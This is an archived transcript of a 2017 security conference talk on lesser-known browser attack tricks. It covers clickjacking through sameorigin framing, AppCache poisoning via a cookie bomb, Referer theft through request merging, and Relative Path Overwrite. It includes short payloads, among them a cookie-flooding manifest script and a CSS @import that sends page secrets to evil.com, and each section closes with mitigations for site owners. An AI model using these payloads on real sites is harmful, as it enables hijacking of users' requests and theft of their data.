

Exploiting the unexploitable with lesser known browser tricks

Exploiting the unexploitable with lesser known browser tricks - @speakerdeck, filedescriptor, Speaker Deck.

- Published: 2017-05-11
- Original: <<https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks>>
- Preserved from: <https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Exploiting the unexploitable with lesser known browser tricks - Speaker Deck

Exploiting the unexploitable with lesser known browser tricks

[[image: Avatar for filedescriptor](#)]

filedescriptor

May 11, 2017

More Decks by filedescriptor

[See All by filedescriptor](#)

[The Cookie Monster in Your Browsers](#)

[[image: Avatar for filedescriptor](#)] filedescriptor](<https://speakerdeck.com/filedescriptor>)

15

24k

[Killing](#) with

[[image: Avatar for filedescriptor](#)] filedescriptor](<https://speakerdeck.com/filedescriptor>)

7

7.4k

Other Decks in Technology

[See All in Technology](#)

[[\[image: Avatar for masuda220\]](#) masuda220](<https://speakerdeck.com/masuda220>)

[PRO](#)

17

6.2k

[Redmine 7.0](#) [OSC2026](#)

[[\[image: Avatar for MAEDA Go\]](#) vividtone](<https://speakerdeck.com/vividtone>)

1

190

[2026](#)

[[\[image: Avatar for Recruit\]](#) recruitengineers](<https://speakerdeck.com/recruitengineers>)

[PRO](#)

4

620

[SnowflakeCoCo](#)

[[\[image: Avatar for numa\]](#) foursue](<https://speakerdeck.com/foursue>)

0

180

[20260801_](#)

[[\[image: Avatar for hikari\]](#) kgkhkr](<https://speakerdeck.com/kgkhkr>)

2

1.2k

[[\[image: Avatar for Recruit\]](#) recruitengineers](<https://speakerdeck.com/recruitengineers>)

[PRO](#)

2

440

[OSS](#)

[[\[image: Avatar for Shinya Saita\]](#) shinyasaita](<https://speakerdeck.com/shinyasaita>)

1

350

[CEDEC2026](#)

[LLM](#)

[[\[image: Avatar for Cygames, Inc.\]](#) cygames](<https://speakerdeck.com/cygames>)

[PRO](#)

0

590

[Bill One](#)

[[\[image: Avatar for Sansan, Inc.\]](#) sansan33](<https://speakerdeck.com/sansan33>)

[PRO](#)

7

19k

[PLaMo 3.0 Prime](#)

[[\[image: Avatar for Preferred Networks\]](#) pfn](<https://speakerdeck.com/pfn>)

[PRO](#)

0

190

[AI](#)

[[\[image: Avatar for yuukiyo\]](#) yuukiyo](<https://speakerdeck.com/yuukiyo>)

25

16k

[QA](#)

[SmartHR](#)

[[\[image: Avatar for kaomi\]](#) kaomi_wombat](https://speakerdeck.com/kaomi_wombat)

1

110

Featured

[See All Featured](#)

[Jamie Indigo - Trashchat's Guide to Black Boxes: Technical SEO Tactics for LLMs](#)

[[\[image: Avatar for Tech SEO Connect\]](#) techseoconnect]

(<https://speakerdeck.com/techseoconnect>)

[PRO](#)

0

580

BBQ

[ matthewcrist](<https://speakerdeck.com/matthewcrist>)

89

10k

Primal Persuasion: How to Engage the Brain for Learning That Lasts

[ tmiket](<https://speakerdeck.com/tmiket>)

0

400

[ rakko](<https://speakerdeck.com/rakko>)

1

4.2M

RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub

[ eileencodes](<https://speakerdeck.com/eileencodes>)

141

35k

How to Ace a Technical Interview

[ jacobian](<https://speakerdeck.com/jacobian>)

281

24k

Code Review Best Practice

[ trishagee](<https://speakerdeck.com/trishagee>)

74

20k

The AI Search Optimization Roadmap by Aleyda Solis

[ aleyda](<https://speakerdeck.com/aleyda>)

1

6k

CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again

[ sstephenson](<https://speakerdeck.com/sstephenson>)

162

16k

Believing is Seeing

[ oripsolob](<https://speakerdeck.com/oripsolob>)

1

180

Automating Front-end Workflow

[ addyosmani](<https://speakerdeck.com/addyosmani>)

1370

210k

sira's awesome portfolio website redesign presentation

[ elsirapls](<https://speakerdeck.com/elsirapls>)

0

320

Transcript

-

Exploiting the unexploitable with lesser known browser tricks @AppsecEU2017

-

How is a cat the speaker? • @filedescriptor • Pentester

for Cure53 • Browser & Web Security • #1 at Twitter " Bounty Program ??

-

-Every site that uses XFO "Clickjacking is a solved problem"

-

X-Frame-Options Value Should I use it? Why ALLOWALL Nope As

its name suggests ALLOW-FROM uri Nope Not work on Webkit/Blink DENY Yup Not framable at all
SAMEORIGIN Yup? Not framable by other sites

-

XFO: sameorigin Expectation Reality

-

What does that mean? • Sites that frame untrusted pages

are still vulnerable • but... • who is stupid enough to allow untrusted frames?

-

Google AMP <https://google.com/amp/s/yoursite.com>

-

None

-

Site-wide XFO: sameorigin

-

Top frame: google.com Intermediate frame: innerht.ml Child frame: google.com

-

Twitter Player Card

-

<script> var twttr = twttr || {}; if (self !=

top) { document.documentElement.style.display = 'none'; } </script> but, anti-frame-buster
<iframe src="https://twitter.com/oauth/authorize" sandbox="allow-forms"></iframe> In addition
to XFO there's frame-buster

-

Top frame: twitter.com Intermediate frame: innerht.ml Child frame: twitter.com

-

None

-

XFO: sameorigin considered harmful • For researchers: • Don't give

up when you see XFO: sameorigin • Look for places where untrusted frames are allowed • For site
owners: • Use Content-Security-Policy: frame-ancestors (except IE) • Don't allow untrusted frames

-

-Every bug bounty program "XSS on sandboxed domains is out-of-scope"

-

None

-

Service Worker's scope # `https://dl.drop/u/evil/worker.js` `https://dl.drop/u/evil/stuff` `https://dl.drop/u/legit/stuff`

-

`https://dl.drop/u/evil/hack.html` `https://dl.drop/u/evil%2fworker.js` (`https://dl.drop/u/evil/worker.js`) & `https://dl.drop/u/legit/foo.exe` & `https://dl.drop/u/evil/virus.exe` / -> %2f

(server-sider decoding)

-

None

-

None

-

Service Worker has an older brother

-

Appcache `<html manifest="manifest.txt"> </html>` Content-Type: text/cache-manifest is not mandatory

-

Appcache's fallback `404.html` `backup.html` If a response is inaccessible, fallback

file will be served instead

-

Appcache - scope + error = Service Worker

-

Cookie Bomb

-

Cookie '+' Appcache = ? 1. Set many cookies on

root path 2. Requests to every file will result in HTTP 413 3. Appcache's fallback kicks in and replaces the response 4. ??? 5. Profit!

-

AppCache Poisoning <https://dl.drop/u/evil/hack.html> <https://dl.drop/u/evil/manifest.txt> & <https://dl.drop/u/legit/foo.exe> (HTTP 413) & <https://dl.drop/u/evil/virus.exe>

(fallback)

-

Attack in action CACHE MANIFEST # Permanently cache the manifest

file itself manifest.txt # Route all traffic to poison.html FALLBACK: / poison.html <html manifest="manifest.txt"> <script> for(var i = 1e2; i--) document.cookie = i + '=' + Array(4e3).join(0) + '; path=/'; </script> </html> attack.html manifest.txt

-

Impact • Requests/responses will be persistently hijacked • The only

way to get rid of it is users manually clear cookies/appcache

-

How to “patch” it • Put your sandboxed domains onto

Public Suffix List • domains on the list cannot have cookies • Avoid directly serving HTML files • Optimally, serve user generated contents on different subdomains instead of directories

-

None

-

-Every lazy developer “When in doubt, validate Referer”

-

Real world scenario • Assuming appA.com wants to share authenticated

user info to its partners • It uses JSONP to transfer the data • It checks if the importing website is its partners by validating referer

-

callback({"user":...}) <https://appA.com/user.js> <https://appB.com/> <https://appC.com/> <https://evil.com/> Referer: appB.com Referer: appC.com Referer:

evil.com

-

9 catz but only 1 request! Observation

-

** **

 } GET cat.png HTTP/1.1

-

** **

 GET cat.png?1 HTTP/1.1 GET cat.png?2 HTTP/1.1 GET cat.png?3 HTTP/1.1 GET cat.png?4 HTTP/1.1 GET cat.png?5 HTTP/1.1 GET cat.png?6 HTTP/1.1 GET cat.png?7 HTTP/1.1 GET cat.png?8 HTTP/1.1 GET cat.png?9 HTTP/1.1

-

Request merging • If multiple same simple requests are issued

at the simultaneously, they will be merged into one (Chrome, Safari & IE) • Same being same URL and same initiator • Simple being GET requests and simple initiators (script, style, image, ...) • Simultaneously being if there is an unfinished same request

-

URL Initiator Same unfinished requests will be merged New request

if no unfinished requests <script src="jquery.js" defer></script> <script src="jquery.js" defer></script> <!-- delay 2 seconds --> <script src="jquery.js" defer></script>

-

It works on iframes too! merged jquery.js

-

Wait, what about the referer?

-

Headers are not considered • Requests are merged even if

they have different request headers • If siteA and siteB imports the same script in the same tab simultaneously, they share the first issued request

-

Stealin' the referer merged `https://appA.com/user.js`

-

`attacker.com` `victim.com` `appA.com/user.js` `appA.com/user.js` `iframe` `script` `script merged` `Referer: victim.com`

-

Referer validation is fragile • There were and will be

tons of ways to forge referer • Always assume referer is not a reliable source (I'm (ing at you Twitter) • User CORS for cross-origin requests

-

-Every site that has more than one domain "Why absolute

when you can relative"

-

Relative Path Overwrite `http://example.com/foo/bar.php` `main.css` `/foo/main.css`

-

Relative Path Overwrite `http://example.com/foo/bar.php/1337` `main.css` `/foo/bar.php/main.css`

-

Quirks mode ignores CSS errors `<html>` `<head>` `<link href="main.css" rel="stylesheet">`

`</head>` `<body>` `{*{background:red}` `</body>` `</html>` `bar.php`

-

Relative Path Overwrite `http://example.com/foo/bar.php/1337` `/foo/bar.php/main.css` `main.css` This part server doesn't

care

-

Things you can do • XSS via expression/scriptlet on IE

(requires old versions/compat mode) • Leak current URL via Referer • Steal secret contents

-

You can't steal secrets if there's no secrets <html> <head>

```
<link href="main.css" rel="stylesheet"> </head> <body> {}*{background:red} </body> </html>
```

-

RPO Gadget • Not ROP Gadget • The “stylesheet” itself

does not contain secrets • But you can import another “stylesheet” that contains secrets • It's like using the “stylesheets” as gadgets

-

```
<html> <head> <link href="main.css" rel="stylesheet"> </head> <body> {}@import'../admin.php' </body> </html>
```

```
bar.php <html> <head> </head> <body> {}@import"//evil.com/? <p>secret</p> </body> </html>  
admin.php http://evil.com/?<p>secret...
```

-

Google Toolbar

-

RPO = CSS abuse?

-

IE doesn't know how to decode URL in redirect HTTP/1.1

```
302 Found Location: http://example.com/foo/bar.jsp;/.%2e/.%2e/1337 GET  
/foo/bar.jsp;/.%2e/.%2e/1337 HTTP/1.1 http://example.com/1337
```

-

Controlling JS path <http://example.com/1337> [main.js](#) /main.js <http://example.com/foo/bar.jsp;/.%2e/.%2e/1337> /foo/main.js Server sees

Expected Imported

-

Google Fusion Table

-

scripts imported with relative path

-

Attack in action https://www.google.com/amp/innerht.ml/js/gvizchart_all_js.js /amp/innerht.ml/ js/gvizchart_all_js.js <https://www.google.com/fusiontables/DataSource;/.%2e/.%2e/amp/innerht.ml?do>

cid=foobar /fusiontables/

js/gvizchart_all_js.js https://innerht.ml/js/gvizchart_all_js.js (302 Redirect) Server sees Expected Imported

-

None

-

How to tell if a site is vulnerable? • If

there is a web page in which • it returns the same response even if appended ;/.%2e/.%2e • There's a scripts imported with relative path • There's a path-based open redirect

-

Moral of the story • Relative paths are dangerous •

There are even more similar quirks waiting to be discovered • You should configure the server such that paths with trailing junks are considered separate routes

-

Recap • XFO: sameorigin • Sandboxed domain cookies • Referer

based protection • Relative path & lax server configuration

-

Questions? Comments? Thank you very much!

Archived from <https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks>.
Rendered offline from the local Markdown copy.